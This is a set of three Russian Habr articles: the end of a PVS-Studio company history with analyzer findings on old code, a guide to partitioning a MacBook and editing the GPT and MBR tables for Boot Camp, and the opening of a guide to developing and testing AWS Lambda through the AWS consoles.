Название PVS-Studio образовано более сложным образом. Первые три буквы — это сокращение от названия нашей компании OOO «Program Verification Systems». «Studio» было добавлено, чтобы подчеркнуть, что это не просто один инструмент, а коллекция инструментов, собранных вместе. На самом деле, название не очень удачно, так как его очень часто пишут неправильно: кто-то не ставит черточку, кто-то вместо PVS пишет PSV и так далее. Если бы мы выбирали название сейчас, мы использовали бы что-то более простое. Собственно, так мы и поступили, создавая CppCat, но это совсем другая история, о которой я поговорю ниже.
Вернёмся к основной линии повествования. В 2010 году мы решили, что сможем усилить интерес к анализатору PVS-Studio, добавив к нему немного диагностик общего назначения. Причем эти диагностики мы планировали сделать бесплатными, так как не верили, что на них можно что-то заработать. В сфере диагностик общего назначения для C и C++ в то время царствовали такие инструменты, как Coverity, Parasoft C/C++test, Klocwork, Gimpel PC-Lint и так далее. Мы не видели никакого смысла даже пытаться потеснить эти инструменты. Поэтому бесплатные диагностики общего назначения мы планировали сделать исключительно в рекламных целях. Идея была такая: человек проверяет бесплатно свой проект, а заодно узнает о платных диагностиках, связанных с 64-битностью и OpenMP.
В ноябре 2010 мы выпустили первую бета-версию PVS-Studio 4.00, в которой появился новый набор правил статического анализа общего назначения. На тот момент их было 45 штук. Вот статья про это событие: "[Трепещи, мир! Мы выпустили PVS-Studio 4.00 с анализатором общего назначения](http://www.viva64.com/ru/b/0085/)".
Дальше произошло ключевое событие, изменившее всё. Можно сказать, это был переломный момент, когда мы перешли от безвестного прозябания к успешной стратегии поведения. Конечно, после этого до каких-то успехов было ещё далеко, но «лёд тронулся».
Нам написал программист, который оценил наши диагностики общего назначения и спрашивал, сколько он должен за них заплатить, чтобы продолжать ими пользоваться. Мы ответили, что нисколько, но, возможно, его заинтересуют 64-битные диагностики, которые крайне полезны. На что он ответил, что 64-битные и VivaMP диагностики ему совершенно не нужны. И что большое спасибо за такой клёвый инструмент, тем более что он сможет продолжить пользоваться диагностиками общего назначения бесплатно.
Мы услышали этот сигнал из космоса и быстро пересмотрели свои подходы. Поэтому вышедшая через месяц релизная версия PVS-Studio 4.00 была уже платной. Пришлось даже написать объяснительную статью, почему мы так быстро передумали: "[Почему PVS-Studio 4.00 будет платным решением](http://www.viva64.com/ru/b/0089/)". Статью можете не читать, так как я скажу, что её смысл сводится к «мы хотим денег».
Итак, PVS-Studio стал представлять собой комплект из трех анализаторов (Viva64, VivaMP, диагностики общего назначения), которые мы начали продавать как единое целое. В этой же версии впервые появились корпоративные лицензии (Site License).
Шло время, анализатор PVS-Studio развивался и постепенно начинал приносить больше денег. В PVS-Studio 4.30 появляется инкрементальный анализ — возможность автоматически запускать анализатор для тех файлов, которые только что были изменены и перекомпилированы. Это позволило начать регулярно использовать PVS-Studio на локальных машинах разработчиков.
А еще в PVS-Studio 4.32, которая вышла в июле 2011 года, мы отказались от лицензий для одного пользователя. Это было ещё одно из самых лучших бизнес-решений в истории компании. Мы поняли, что PVS-Studio — это командный инструмент, который приносит пользу всему проекту, независимо от того, сколько именно человек непосредственно с ним работают.
В начале 2012 года вышел PVS-Studio 4.53, в котором уже насчитывалось 100 сообщений анализа общего назначения (V501-V600). Вскоре также появился набор диагностик «Микро-оптимизации» для поиска тех мест падения производительности, которые можно обнаружить статическим анализом.
Так прошли 3 года, когда мы принимали верные и полезные решения по развитию проекта. Это слишком долго, пора было делать глупости.
Embarcadero RAD Studio, вторая ошибка
-------------------------------------
История будет короткой, так как особенно и рассказывать не о чем. В PVS-Studio 5.00 появилась интеграция в Embarcadero RAD Studio. Нам казалось, что в мире полно пользователей C++Builder. Мы были неправы. Ну или мы просто их не нашли.
В целом, история была аналогична VivaMP. Да, где-то он в мире RAD Studio используется, но уже очень мало. Никакого интереса программистское сообщество к событию не проявило. Как и с VivaMP, не было ни писем с вопросами, ни сообщений об ошибках. Просто тишина.
Естественно, было потеряно время и силы на поддержку Embarcadero RAD Studio и рекламу новых возможностей.
Впрочем, безумия с Embarcadero RAD Studio нам показалось мало, и мы без отдыха, через год, совершили новую серьезную ошибку.
CppCat, третья ошибка
---------------------
Мы выпустили продукт CppCat 1.00 — основанный на PVS-Studio недорогой статический анализатор. Мы его называли «альтернативой PVS-Studio за $250». Идея была в том, чтобы выпустить статический анализатор высокого уровня, но за очень небольшие деньги. Он был сильно дешевле. Якобы тогда намного больше разработчиков будут покупать и использовать наши решения. Возможно, мы бы даже тогда совсем отказались от PVS-Studio, который представлялся нам большой и тяжелой программой с историей, в противовес легкому и молодому CppCat, в котором простой интерфейс сочетался с мощным анализом кода.
Думаю, по названию главы вы уже догадались, что это была плохая идея. Я решил не описывать здесь подробности этой ошибки, так как они будут фактически пересказом статьи "[Мы закрываем проект CppCat](http://www.viva64.com/ru/b/0320/)". Крайне рекомендую эту статью к прочтению, она небольшая и весьма интересная.

*Рисунок 6. Проект CppCat был хорош всем. У него было простое название, в нем были простые настройки, его мог приобрести себе индивидуальный разработчик. Плохо было одно: он не приносил денег.*
Чуть более чем через год мы закрыли проект CppCat, вновь потратив время и силы впустую. Как видите, мы наделали массу серьёзных ошибок, каждая из которых могла нас разорить. Зато теперь мы стали намного аккуратней и подходим к новым экспериментам более вдумчиво, заранее закладывая ресурсы на случай очередного промаха.
Кстати, чуть ранее закрытия CppCat, мы заодно удалили поддержку Embarcadero RAD Studio и диагностик OpenMP. Мы поняли, что пора избавляться от балласта, который не приносит денег, но всё равно требует усилий на поддержку.
Наши дни
--------
Неудачи с CppCat, VivaMP, Embarcadero RAD Studio не подорвали наш энтузиазм, и мы вложились в три новых направления:
1. Анализ C# кода;
2. Поддержка Linux;
3. Бесплатный вариант лицензии PVS-Studio.
Пока рано говорить об успешности или неуспешности этих начинаний. Про результаты я смогу уверенно рассказать только через несколько лет. Но мы по-прежнему полны энергии покорить мир, тем более, что это постепенно получается.
Можно отсчитывать время полноценного начала существования нашей компании с 2009 года, когда мы перешли на самоокупаемость без поддержки аутсорсинговых проектов. На тот момент нас было 4 человека. По прошествии 7 лет наша [команда PVS-Studio](http://www.viva64.com/ru/team/) состоит из 24 человек. Конечно, это нельзя называть большим успехом, но как получилось, так и получилось. Я не вижу смысла приукрашивать действительность. Несмотря на 10 лет пути, мы считаем, что находимся только в начале и только учимся по-настоящему делать и продавать наш программный продукт.
Надеюсь, я рассказал вам интересную историю. Буду рад если она воодушевит кого-то не бросать свои начинания и продолжать верить в мечту.

*Рисунок 7. Не сдавайтесь!*
Ах да, баги Viva64 v1.0
-----------------------
Я был бы не я, если бы не проверил первую версию анализатора Viva64 с помощью современной версии PVS-Studio. Ошибок нашлось совсем мало в силу крошечного размера ядра анализатора того времени. Нашего кода, так там, вообще, всего 3-4 тысячи строк. На тот момент ядро анализатора Viva64 состояло всего из 210 файлов и насчитывало 37 KLOC. Для сравнения, сейчас ядро PVS-Studio для анализа C/C++ кода состоит из 320 файлов и насчитывает уже 208 KLOC. Соответственно, количество кода, написанного нами, увеличилось где-то в 40 раз.
Примечание. Ещё раз уточню, что речь идёт именно о ядре для анализа C и C++ кода. Помимо этого, существует Plugin для Visual Studio, ядро анализатора для C#, утилита Standalone и так далее. Так что общий размер кода за эти годы вырос в сотни раз.
Итак, рассмотрим предупреждения современного анализатора, которые мне показались интересными, чтобы включить их в статью.
```
rw_table_sanity_check(const rw_table table[])
{
unsigned n = (sizeof table)/(sizeof table[0]);
if (n < 2) return;
for (const char* old = (table++)->name; --n; old = (table++)->name)
if (strcmp(old, table->name) >= 0) {
cerr << "FAILED: '" << old << "' < '"
<< table->name << "'" << endl;
assert(! "invalid order in presorted array");
}
}
```
Эта ошибка выявляется сразу двумя предупреждениями PVS-Studio:
* V511 The sizeof() operator returns size of the pointer, and not of the array, in 'sizeof table' expression. lex.cc 822
* V514 Dividing sizeof a pointer '(sizeof table)' by another value. There is a probability of logical error presence. lex.cc 822
Ошибка относится к подсистеме юнит-тестов. Тест, на самом деле, ничего не проверяет, так как переменной *n* присваивается значение 0. Ошибка в том, что *table* — это просто указатель, а не массив.
А вот ошибка, которую сделал лично я:
```
bool IsLiteralFFFFFFFF(const char *buf, size_t len) {
if (len < 10)
return false;
if (buf[0] != '0' && (buf[1] != 'x' || buf[1] != 'X'))
return false;
....
}
```
Предупреждение PVS-Studio: V547 Expression 'buf[1] != 'x' || buf[1] != 'X'' is always true. Probably the '&&' operator should be used here. vivacasts.cpp 632
Не работает быстрая проверка, что литерал должен начинаться с символов «0x» или «0X». Проверка считает правильными любые строки, которые начинаются с символа '0'.
Немного длинный код, но я решил его всё-таки не сокращать:
```
Ptree* Append(Ptree* p, Ptree* q)
{
Ptree *result, *tail;
if(p == 0)
if(q->IsLeaf()) // <=
return Cons(q, 0);
else
return q;
result = tail = Cons(p->Car(), 0);
p = p->Cdr();
while(p != 0){
Ptree* cell = Cons(p->Car(), 0);
tail->SetCdr(cell);
tail = cell;
p = p->Cdr();
}
if(q != 0 && q->IsLeaf()) // <=
tail->SetCdr(Cons(q, 0));
else
tail->SetCdr(q);
return result;
}
```
Предупреждение PVS-Studio: V595 The 'q' pointer was utilized before it was verified against nullptr. Check lines: 360, 374. ptreeutil.cc 360
В функции произойдёт разыменование нулевого указателя, если оба фактических аргумента окажутся равны nullptr.
Следующий код вполне оправдан для тех времён, но сейчас так писать уже нельзя:
```
Class* Environment::LookupClassMetaobject(Ptree* name)
{
TypeInfo tinfo;
Bind* bind = 0;
if (this == 0) {
TheErrorLog().Report(
MopMsg(Msg::Fatal,
"Environment::LookupClassMetaobject()",
"0 environment"));
return 0;
}
....
}
```
Предупреждение PVS-Studio: V704 'this == 0' expression should be avoided — this expression is always false on newer compilers, because 'this' pointer can never be NULL. environment.cc 115
Таких проверок ещё есть с 10 штук.
На этом всё. Наверное, мои читатели ждали большего, но, действительно, больше ничего заслуживающего внимания нет. Просто 37 KLOС — это очень мало, и мы всегда очень тщательно подходили к написанию кода и тестированию.
Заключение
----------
Из интересных наблюдений я могу сказать, что 10 лет назад я представлял организацию работы фирмы сильно по другому. Мне казалось, что когда всё наладится, я и Евгений будем заниматься творческими вопросами, разрабатывать стратегии развития и вообще сидеть в креслах с умным задумчивым видом. Но выяснилось, что чем дальше, тем больше наша работа напоминает работу пожарных, которые самоотверженно должны сражаться с различными бедами. А чем большее количество площади в офисе мы занимаем, и чем больше сотрудников, тем больше становится этих «пожаров» и тем более они разнообразны по своей природе. Примеры: проблемы с электричеством, протечки потолка, заклинивший замок в двери, ликвидация нарушения в виде недоплаченного налога в размере 1 копейки, и так далее. Это, конечно, не значит, что лично я или Евгений полезем самостоятельно менять кондиционер, пробитый этой зимой сосулькой. Однако, организовать его починку нужно будет именно нам.

*Рисунок 8. Свежая зимняя проблема. Вот так выглядят трудности стартапов. Они вовсе не в том, что выбран не тот Framework.*
Однако, иногда приходится действительно брать в руки инструмент и сделать что-то, чтобы оно работало.

*Рисунок 9. Я и Сергей Хренов за изготовлением правильного Press Wall. Хочешь сделать что-то хорошо, сделай это сам.*
Наверное, это естественный переходный этап любой компании, когда организаторы вынуждены заниматься всё большим количеством разнообразных дел, которые не имеют прямого отношения к проекту, но которыми нельзя не заниматься. Со временем должен появится завхоз, юрист, выделенный админ, менеджеры, замыкающие ряд вопросов на себя. Пока мы до всего этого не доросли, но будем стараться.
Спасибо всем за внимание. На этом я заканчиваю и поздравляю всех с наступающим Новым годом.
[](http://www.viva64.com/en/b/0465/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [PVS-Studio project — 10 years of failures and successes](http://www.viva64.com/en/b/0465/). | https://habr.com/ru/post/318756/ | null | ru | null |
# Мой Boot Camp — куда хочу, туда и ставлю
Исторически сложилось, что на моем MacBookPro Mid 2010 одновременно стояли три оси: Mountain Lion (10.8.3), Lion (10.7) и Snow Leopard (10.6). Все было бы хорошо, если для MacOS существовали бы 3ds Max и утилитка для создания всевозможных текстур The Compressonator, а старый верный ноутбук Toshiba, который спасал меня в такие ситуации, не ушел на пенсию по состоянию материнской платы. Нужно было создавать раздел Boot Camp, да так, чтобы не полетели остальные системы.

Образ Windows под VMWare у меня был, но почему-то в MacOS 10.8 он катастрофически тормозит (по сравнению с тем же 10.7 или 10.6). В итоге я решил что 10.6 мне уже вряд ли пригодится, а на его место как раз встанет раздел Boot Camp с Windows. Но ~~корявая~~ маковсякая Дисковая утилита так не думала.
#### Изменение разделов
Раздел с Snow Leopard я полностью отчистил, но при попытке удалить его, дисковая утилита выдавала мне ошибку из серии «Слишком маленький размер изменений...». Плюс раздел был всего 30Gb, а мне нужно было хотя бы 50Gb. Не беда, открываем терминал и смотрим где у нас какие диски:
```
diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *500.1 GB disk0
1: EFI 209.7 MB disk0s1
2: Apple_HFS Mountain Lion 249.9 GB disk0s2
3: Apple_Boot Recovery HD 650.0 MB disk0s3
4: Apple_HFS Mac OS Lion 220.0 GB disk0s4
5: Apple_HFS Snow Leopard 30.0 GB disk0s5
```
Далее я объединил Mac OS Lion и Snow Leopard одной командой:
```
diskutil mergePartitions "Journaled HFS+" "Mac OS Lion" disk0s4 disk0s5
```
Формат такой: diskutil mergePartitions "<формат раздела>" "<имя нового объединенного раздела>" <первый раздел> <второй раздел>
А потом разбил объединенный раздел на два, уже нужного мне размера:
```
diskutil resizeVolume disk0s4 200G MS-DOS Windows 50G
```
Формат команды: diskutil resizeVolume <размер после изменения> <формат второго раздела> <имя второго раздела> <размер второго раздела>
Разбиение разделов завершено:
```
diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *500.1 GB disk0
1: EFI 209.7 MB disk0s1
2: Apple_HFS Mountain Lion 249.9 GB disk0s2
3: Apple_Boot Recovery HD 650.0 MB disk0s3
4: Apple_HFS Mac OS Lion 200.0 GB disk0s4
5: Microsoft Basic Data Windows 50.0 GB disk0s5
```
#### Таблицы разделов GPT и MBR
~~Признаться честно, я не уверен, что то, что я делал дальше с таблицами разделов, было необходимо. Буду рад увидеть поправки в комментариях.~~
> **Update**: Оказалось, что синхронизировать GPT и MBR обязательно. Если у Вас в GPT 4е или меньше разделов, то можно одним кликом это сделать через rEFIt Tools прямо на экране загрузки. Если раздел с виндой 5й или больше, то надо прописывать MBR вручную игнорируя Recovery разделы (Mac OS X Boot), чтобы влезли обязательный EFI System, реальные Мак разделы и раздел с Windows.
Итак, скачав замечательную утилиту [rEFIt](http://refit.sourceforge.net/) и запустив Partition Inspector, который идет в комплекте, я увидел такую картину:
```
Current GPT partition table:
# Start LBA End LBA Type
1 40 409639 EFI System (FAT)
2 409640 488428743 Mac OS X HFS+
3 488690888 489960431 Mac OS X Boot
4 489960432 880585431 Mac OS X HFS+
5 880848896 976773119 Basic Data
Current MBR partition table:
# A Start LBA End LBA Type
1 1 976773119 ee EFI Protective
```
Как видим MBR не в курсе наших дисков, это я исправил следующими командами:
```
sudo fdisk -e /dev/disk0
edit 1 //изменить первую запись, она ВСЕГДА должна занимать место с 1 по 39
ee //это формат раздела, для EFI Protective это "ee"
n //жмем n
1 //начало раздела
39 //размер раздела
edit 2
af
n
409640
488019104
edit 3
af
n
489960432
390625000
edit 7
07
n
880848896
95924224
write //чтобы записать все изменения
y //готово
```
После всех манипуляций проверяем через Partition Inspector соответствие таблиц:
```
Current GPT partition table:
# Start LBA End LBA Type
1 40 409639 EFI System (FAT)
2 409640 488428743 Mac OS X HFS+
3 488690888 489960431 Mac OS X Boot
4 489960432 880585431 Mac OS X HFS+
5 880848896 976773119 Basic Data
Current MBR partition table:
# A Start LBA End LBA Type
1 1 39 ee EFI Protective
2 409640 488428743 af Mac OS X HFS+
3 489960432 880585431 af Mac OS X HFS+
4 * 880848896 976773119 07 NTFS/HPFS
```
Выглядит почти одинаково. Раздел Mac OS X Boot (это Recovery) нам не нужен в MBR, только реальные диски. Подробности этой техники ~~можно~~ **нужно** почитать [тут](http://jonsview.com/fixing-mbr-tables-on-imac-or-mbp-triple-boot-setups). Обратите внимание, что размер раздела считается как end-start+1.
#### Установка Windows
К этому моменту у вас должен быть загрузочный DVD с инсталляцией Windows. Сперва я пытался проинсталлить с загрузочной флешки, созданной в Windows 7, но мне постоянно выдавало «No bootable device — insert boot disk and press any key...». С DVD диском все прошло без проблем. При выборе раздела я выбрал мой FAT32 раздел и переформатировал его в NTFS. Винда проинсталлилась успешно.
#### Установка драйверов Boot Camp
Утилита «Ассистент Boot Camp» сперва мне даже не предлагала скачать драйвера на флешку. Даже после внесения изменений в plist (MacBookPro Mid 2010 видите ли не поддерживается по дефолту), загрузка драйверов дальше половины не шла. Не беда, [от сюда](http://www.cafe-encounter.net/p682/download-bootcamp-drivers) качайте подходящий вашему маку pkg, инсталлите его куда-угодно, идете в папку куда проинсталлили, там находите WindowsSupport.dmg, маунтите этот dmg образ и копируете содержимое образа на флешку или прямо на раздел Windows (ведь в MacOS 10.8 созданный раздел с виндой виден и доступен на запись). Далее грузитесь под виндой и запускайте инсталляцию драйверов.
#### Наводим красоту
Понравилась картинка загрузки мака в начале статьи? Скачайте замечательную штуку [rEFIt](http://refit.sourceforge.net/) и [набор иконок](http://apetrus.com/refit_icons.zip), сделанный по мотивам [найденных](http://studio-sanchez.deviantart.com/art/rEFIt-Custom-Boot-Menu-177702386) в интернете [шаблонов](http://blymar.deviantart.com/art/Grey-Rounded-155496193). После установки rEFIt, может понадобиться пару раз перезагрузить мак, у меня почему-то только на 2й раз все заработало. Так же можно его подтолкнуть командами:
```
cd /efi/refit
./enable.sh
```
Чтобы установить набор иконок, разархивируйте набор в папку /efi/refit с заменой. Так же можете настроить rEFIt поковыряв файл refit.conf, например, установить таймер запуска дефолтной оси или добавить вызов терминала на экран загрузки.
**Disclaimer**
Все что вы делаете, особенно с разделами и таблицами разделов — вы делаете на свой страх и риск. Мне было страшно, но я делал! В результате я научился менять размер дисков как захочу, не бояться названий GPT и MBR, имею красивую и удобную загрузку мака и, что самое главное, могу спокойно отправляться в путешествие на майские праздники, взяв с собой только один ноут со всем необходимым. Удачных наступающих праздников!
**Update**
1. Настоятельно рекомендую перед началом всех процедур сохранить инфо о таблицах разделов, которое выдает Partition Inspector т.к. винда может затереть все таблицы или самому можно что-то «задеть локтем» случайно (лучше всего не на тот же комп, чтобы, если что, можно было загрузиться с диска и вручную все восстановить).
2. Поставьте rEFIt перед установкой Windows.
3. Не удаляйте раздел “EFI Protective” из MBR. Согласно [информации на странице rEFIt](http://refit.sourceforge.net/myths/), этот раздел сообщает GRUB, что не надо перезаписывать таблицу GPT. Так же сообщается, что “EFI Protective” должна начинаться с LBA 1. | https://habr.com/ru/post/177915/ | null | ru | null |
# AWS Lambda in Action. Часть 2: знакомимся с инструментами разработки и тестирования

Этот гайд — результат личного опыта разработки и тестирования Serverless-приложений, а также маневрирования между «костылями» и «велосипедами» при попытках их протестировать. Когда я только начинал заниматься разработкой Serverless-приложений, во всем приходилось разбираться руками, не было четких гайдов или удобных инструментов локальной разработки и тестирования.
Сейчас ситуация меняется: инструменты стали появляться, но найти мануалы по их использованию непросто. В этом материале я покажу на простом примере, как работать с новым функционалом. Вы сможете легко его освоить и обойти те проблемы и баги, с которыми «посчастливилось» столкнуться мне.
Вы узнаете, как вести разработку с помощью браузерной консоли AWS, SAM-CLI и IntelljIDEA. Еще я расскажу про тестирование: интеграционные, E2E и юнит-тесты. А напоследок обсудим, во сколько обойдется такое решение (спойлер: на нем можно неплохо сэкономить).
Статья будет полезна тем, кто начинает вести разработку Serverless-приложений и еще не знаком с ее инструментарием и подходами.
О чем пойдет речь
=================
Всем привет! Меня зовут Александр Груздев, и я рад представить вторую часть статьи про использование и разработку Serverless-решения на базе AWS Lambda. В продолжении поговорим о способах ведения разработки и тестирования решения из первой части ([AWS Lambda in Action на Java 11. Заезжаем с Serverless в «Production»](https://habr.com/ru/company/dins/blog/486648/)).
С момента публикации прошлой статьи тестовое приложение было немного переработано, но основной смысл остался прежним. Это банальная HTML-форма «Contact Us», которая посредством HTTP-запросов отправляет данные с формы на API Gateway, а он в свою очередь проксирует запрос на обработку в AWS Lambda. Лямбда во время обработки записывает данные в таблицу DynamoDB и отправляет письмо через AWS SES. Диаграмма компонентов представлена ниже.

Содержание
==========
1. [Разработка с использованием браузерной консоли AWS](#Part1)
2. [Разработка с использованием SAM-CLI](#Part2)
3. [Разработка с использованием IntelljIDEA](#Part3)
4. [Виды тестирования](#Part4)
5. [Стоимость Serverless-решений](#Part5)
6. [Полезные ссылки](#Part6)
1. Разработка с использованием браузерной консоли AWS
=====================================================
### Консоль AWS
Консоль AWS дает доступ к любому AWS-сервису, будь то ваш виртуальный сервер EC2, настройки ролей/политик доступа IAM или AWS Lambda со всеми параметрами, которые можно менять в режиме реального времени без повторного развертывания через системы Continuous Delivery/Continuous Deployment.
Это значительно ускоряет процесс разработки и некоторые виды тестирования. А еще помогает наглядно управлять параметрами запуска и работы ваших приложений.
### Консоль API Gateway
Консоль позволяет отслеживать текущее состояние приложения, управлять вашими окружениями и доставкой новых версий. Я покажу, как это можно использовать для верификации работоспособности окружения.
Давайте посмотрим, как выглядит эта «магическая» консоль на скриншоте вкладки Resources приложения «Contact Us»:
[](https://habrastorage.org/webt/f7/fe/s2/f7fes2uz9qxcpj9dqmko6zuxalc.png)
На скриншоте видно, как запрос от клиента через API Gateway попадет в лямбду и как ответ вернется обратно клиенту при вызове методом POST ресурса/contact.
* *Method request* — первый этап обработки запроса. В нашем случае не содержит никаких настроек, но может содержать, например, настройки для авторизации.
* *Integration request* означает, что HTTP-запрос будет передаваться в лямбду в особом формате: он содержит всю отправленную клиентом информацию и детали о вызываемом контексте.
* *Integration response* говорит о том, что HTTP-клиенту ответ будет доставлен прямиком от лямбды. Следовательно, вы сами отвечаете за формирование тела ответа в лямбде.
**Disable proxy integration**
Тип запроса и ответа для API Gateway можно поменять, если убрать галку *Use Lambda Proxy integration* в блоке *Integration Request*. Тогда у вас будет возможность модифицировать поступающие к лямбде данные. Например, прочитать запрос и отправить в лямбду данные в формате модели, которая ожидается на входе лямбды.
**Integration request sample**
При создании проекта через SAM init у вас будет отдельная директория *events*, в которой будет пример запроса, поступающего в лямбду при включенном *Integration request*. Он не самый актуальный, так как AWS достаточно часто выпускает обновления, но для локальной разработки сгодится. Вернемся к этому файлу в части про консоль AWS Lambda.
Нажмите на кнопку TEST, чтобы проверить работоспособность приложения. Это откроет вам доступ к HTTP-вызовам API Gateway.
На следующем скриншоте я отправил запрос на прогрев лямбды:
[](https://habrastorage.org/webt/ia/kf/ga/iakfgafb8t4-9aocr5o-e5dspy0.png)
Кроме ответа на запрос API Gateway отображает детальные логи. Таким же образом можно сделать реальный запрос, подставив в тело запроса JSON в виде:
```
{
"subject": "Email subject",
"question": "Your question…",
"username": "Your name…",
"phone": "Your phone…",
"email": "Your email…"
}
```
Так вы можете вручную тестировать ваше API без каких-либо UI форм и Front-end приложений, тем самым разделив фронт- и бэкенд-разработку. В качестве альтернативы встроенной консоли можно использовать Postman или любой другой HTTP-клиент.
**Postman как альтернатива**
Для тестирования любых HTTP-сервисов я предпочитаю использовать приложение Postman. Оно позволяет быстро и удобно настраивать и выполнять запросы. Но обратите внимание, что использование API Gateway консоли позволяет вам делать запросы из AWS окружения, не добавляя различные настройки для авторизации в запрос и тем самым ускоряя проверку API. Также, используя консоль, вы не платите за исходящий из AWS трафик.
### Консоль Lambda
Для тестирования и ведения разработки кроме запросов через API Gateway можно использовать браузерную консоль AWS Lambda.
Ее экран разбит на несколько блоков:
* *Designer* показывает существующие триггеры и слои. В нашем случае триггером выступает API Gateway. Если мы на него кликнем, откроется вся необходимая информация: URL, stage, resource path.
* *Aliases* (доступен при выборе конкретного алиаса лямбды) позволяет конфигурировать распределение трафика по версиям лямбды. Подробнее об этом в следующем пункте.
[](https://habrastorage.org/webt/hs/3s/b8/hs3sb8_jvymnm4bnmtn1yvgcamg.png)
* *Function code* — это общая информация о коде и способе запуска. Эта функция позволяет загружать напрямую zip-файл с кодом, чтобы развернуть новую версию. Если вы используете не компилируемые заранее языки, то благодаря Function code сможете поменять код в браузерном окне. Это очень удобно при разработке небольших функций на Python/NodeJs.
[](https://habrastorage.org/webt/1l/p1/0y/1lp10yo_zd7tcbcr7cyu-dyxtlw.png)
* *Environment variables.* Думаю, с этим все понятно из названия. Любые переменные, которые могут иметь разное значение для разных окружений, нужно вынести в этот блок. В моем случае имейл, название таблицы и прочие переменные могли бы лежать тут. Кстати, можно применять настройки шифрования, если через эти переменные вы передаете конфиденциальные данные.
[](https://habrastorage.org/webt/hx/sg/z_/hxsgz_-adludvt4phrfgebnjqa4.png)
* *Tags* — это метки, по которым можно выполнять агрегацию и отслеживать, например, расходы на конкретную команду, отдел разработки или продукт.
[](https://habrastorage.org/webt/qm/za/bt/qmzabtb2nt-yo9tedqlxluhop8e.png)
* *Execution role* — это созданная вручную либо автоматически (как в нашем случае) роль, описывающая возможности доступа для конкретной лямбды.
[](https://habrastorage.org/webt/bf/rk/3s/bfrk3sw8ig7rseuhnwr4mr8o8-c.png)
* *Basic settings* — конфигурация таймаута по работе лямбды и настройка количества памяти.
[](https://habrastorage.org/webt/ds/lr/cj/dslrcjorhygk_bmfzlxp5ddxqz0.png)
* *Network*: по умолчанию лямбда запускается вне каких-либо приватных подсетей, так что у нее нет доступа к ресурсам внутри VPC. Если доступ нужен — настройте его [по этой инструкции.](https://docs.aws.amazon.com/lambda/latest/dg/configuration-vpc.html)
[](https://habrastorage.org/webt/-i/lz/hm/-ilzhms_ty6b7i7pex7pc1dbcbw.png)
* *AWS X-Ray* активирует отслеживание запросов. Это упрощает мониторинг в случае последовательных вызовов лямбд или других AWS-сервисов.
[](https://habrastorage.org/webt/pj/l6/qz/pjl6qzbt3133iqwonql03wd96qs.png)
* *В Reserve concurrency* можно зарезервировать определенный пул вызовов, чтобы в случае большой нагрузки на другие лямбды в аккаунте данная лямбда продолжала обрабатывать определенное значение параллельных запросов. Вдобавок эта опция ограничивает максимальное количество параллельных лямбд этим значением.
Скрин в пункте Provisioned concurrency
* *Provisioned concurrency* — это достаточно новая функциональность. По сути она заменяет наш механизм прогрева, тем самым устанавливая количество проинициализированных контейнеров лямбд до определенного значения. Она решает проблему холодного старта, но может дорого стоить — обратите на это внимание. Также включение этой функциональности аннулирует использование данной лямбды в Free Tier лицензии.
[](https://habrastorage.org/webt/mb/gt/sq/mbgtsqv1iueoy6js88rv4rusi7s.png)
* *Asynchronous invocation* позволяет настроить специальную обработку асинхронных запросов. Указываем, сколько повторных вызовов делать в случае ошибки, и как долго запрос может висеть в очереди. Дополнительно можно указать очередь для обработки запросов, которые завершились неудачно.
[](https://habrastorage.org/webt/fp/g_/zi/fpg_ziuv-ouv4yeeejmxqlko-za.png)
* *Database proxies* — еще одна новая функциональность, [позволяющая настроить](https://aws.amazon.com/about-aws/whats-new/2019/12/amazon-rds-proxy-available-in-preview) доступ к базе через прокси в виде API Gateway + Lambda.
[](https://habrastorage.org/webt/bp/f4/fw/bpf4fw1yjd0ayzsolj0vbhnjrfs.png)
Дальше посмотрим, как вести разработку с этой консоли. Помимо изменения параметров функционал *Configure Test Events* можно использовать для создания тестового запроса. Доступен довольно обширный список, но мы воспользуемся тем, что я уже приложил в проекте:
**ContactUs request**
```
{
"body": "{\"subject\": \"Question\",\"question\": \"How much does it cost\",\"username\": \"Alex\",\"phone\": \"+79999999999\",\"email\": \"alex@gmail.com\"}",
"resource": "/{proxy+}",
"path": "/path/to/resource",
"httpMethod": "POST",
"isBase64Encoded": false,
"queryStringParameters": {
"foo": "bar"
},
"pathParameters": {
"proxy": "/path/to/resource"
},
"stageVariables": {
"baz": "qux"
},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, sdch",
"Accept-Language": "en-US,en;q=0.8",
"Cache-Control": "max-age=0",
"CloudFront-Forwarded-Proto": "https",
"CloudFront-Is-Desktop-Viewer": "true",
"CloudFront-Is-Mobile-Viewer": "false",
"CloudFront-Is-SmartTV-Viewer": "false",
"CloudFront-Is-Tablet-Viewer": "false",
"CloudFront-Viewer-Country": "US",
"Host": "1234567890.execute-api.us-east-1.amazonaws.com",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Custom User Agent String",
"Via": "1.1 08f323deadbeefa7af34d5feb414ce27.cloudfront.net (CloudFront)",
"X-Amz-Cf-Id": "cDehVQoZnx43VYQb9j2-nvCh-9z396Uhbp027Y2JvkCPNLmGJHqlaA==",
"X-Forwarded-For": "127.0.0.1, 127.0.0.2",
"X-Forwarded-Port": "443",
"X-Forwarded-Proto": "https"
},
"requestContext": {
"accountId": "123456789012",
"resourceId": "123456",
"stage": "prod",
"requestId": "c6af9ac6-7b61-11e6-9a41-93e8deadbeef",
"requestTime": "09/Apr/2015:12:34:56 +0000",
"requestTimeEpoch": 1428582896000,
"identity": {
"cognitoIdentityPoolId": null,
"accountId": null,
"cognitoIdentityId": null,
"caller": null,
"accessKey": null,
"sourceIp": "127.0.0.1",
"cognitoAuthenticationType": null,
"cognitoAuthenticationProvider": null,
"userArn": null,
"userAgent": "Custom User Agent String",
"user": null
},
"path": "/prod/path/to/resource",
"resourcePath": "/{proxy+}",
"httpMethod": "POST",
"apiId": "1234567890",
"protocol": "HTTP/1.1"
}
}
```
После добавления запроса нажимаем *Test* и видим результат работы лямбды:
[](https://habrastorage.org/webt/oc/vw/w1/ocvww1tut1fhx0czz5ijzjnpvhg.png)
